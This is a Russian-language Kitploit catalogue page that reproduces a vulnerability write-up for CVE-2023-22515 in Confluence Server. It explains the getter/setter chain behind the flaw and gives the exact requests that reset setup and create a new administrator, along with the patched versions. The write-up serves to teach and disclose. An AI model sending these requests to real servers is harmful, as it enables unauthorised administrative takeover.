Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-22515 — Нарушенный контроль доступа на сервере Confluence - CVE-2023-22515 | Kitploit
Инструменты/GitHubGitHub/lucaspdiniz/cve-2023-22515
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHublucaspdiniz/cve-2023-22515

CVE-2023-22515

Нарушенный контроль доступа на сервере Confluence - CVE-2023-22515

Репозиторий
212 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость Confluence - CVE-2023-22515 📓

Введение

Atlassian был проинформирован о возможной уязвимости, которая может быть использована для компрометации среды через административный доступ. 4 октября 2023 года Atlassian опубликовал предупреждение безопасности относительно CVE-2023-22515, которой была присвоена оценка 10.0. Уязвимость была внесена в версии 8.0.0 Confluence Server и Data Center и присутствует в версиях <8.3.3, <8.4.3, <8.5.2.

Злоумышленник может использовать уязвимость для создания дополнительной учетной записи в Confluence с полными административными привилегиями. Для эксплуатации уязвимости злоумышленнику не требуется предварительная информация. Считается, что уязвимость открывает другие неизвестные векторы атак, и ее следует исправить как можно скорее.

Объяснение эксплуатации ⚠️

С помощью этой уязвимости злоумышленник может вернуться к этапу настройки конфигурации Confluence и создать нового пользователя с административным доступом. Это возможно потому, что Confluence построен на фреймворке Apache Struts, который зависит от пакета XWork. XWork позволяет определять Actions в виде Java-класса. Каждый Action может быть вызван через URL, и соответствующий Java-класс обработает запрос, выполнит необходимые действия и отправит ответ.

Эта проблема возникает в основном из-за class action, где мы можем вызывать атрибуты через URL.

  • Цепочка геттеров/сеттеров для повторного включения начальной настройки

Эксплуатация происходит в action ServerInfoAction, где мы можем манипулировать геттерами/сеттерами класса и сбросить конфигурацию настройки.

Если проанализировать код класса ServerInfoAction, вы увидите, что он расширяет класс ConfluenceActionSupport. Таким образом, он наследует все его методы. Один из таких методов — геттер, возвращающий объект BootstrapStatusProvider:

root@kitploit:~
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
  public BootstrapStatusProvider getBootstrapStatusProvider() {
    if (this.bootstrapStatusProvider == null)
      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); 
    return this.bootstrapStatusProvider;
  }
}

Нас интересует класс BootstrapStatusProvider, потому что у него есть еще один метод геттера, который мы можем использовать для получения объекта ApplicationConfiguration:

root@kitploit:~
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }
}

Этот объект содержит конфигурацию приложения, включая атрибут, который сообщает Confluence, завершена ли начальная настройка. Этот атрибут можно изменить с помощью сеттера в классе ApplicationConfig:

root@kitploit:~
public class ApplicationConfig implements ApplicationConfiguration {
  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }  
}

Если мы сможем вызвать setSetupComplete(false), мы сможем сбросить процесс настройки конфигурации, и мы можем сделать это, используя методы геттеров/сеттеров, как показано ниже:

root@kitploit:~
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

Этот URL вызовет все методы, которые мы упомянули выше, и достигнет целевого метода, ответственного за сброс настройки.

root@kitploit:~
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)

Практическое применение ✍️

Ниже приведен пример сервера с уязвимой версией Confluence.

Давайте попробуем перезапустить процесс настройки, используя вызов метода, как описано выше;

root@kitploit:~
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

После установки параметра setupcomplete в false мы получим ответ success. Это означает, что попытка изменить параметр была успешной.

  • Создание новой учетной записи администратора 🔥

Давайте попробуем создать новую учетную запись, перейдя по URL настройки, который мы пытались сбросить.

root@kitploit:~
http://atlassian.poc:8090/setup/setupadministrator-start.action

  • Готово !!! ✔️

Нам удалось сбросить процесс настройки и создать нового пользователя с административным доступом.

Исправление ✅

Уязвимость исправлена в версиях 8.3.3, 8.4.3 и 8.5.2. Все более новые ветки версий также должны быть безопасны.

Для получения дополнительных сведений Atlassian опубликовал подробности об этой уязвимости на своем сайте (Подробнее - Atlassian).

Скачать инструмент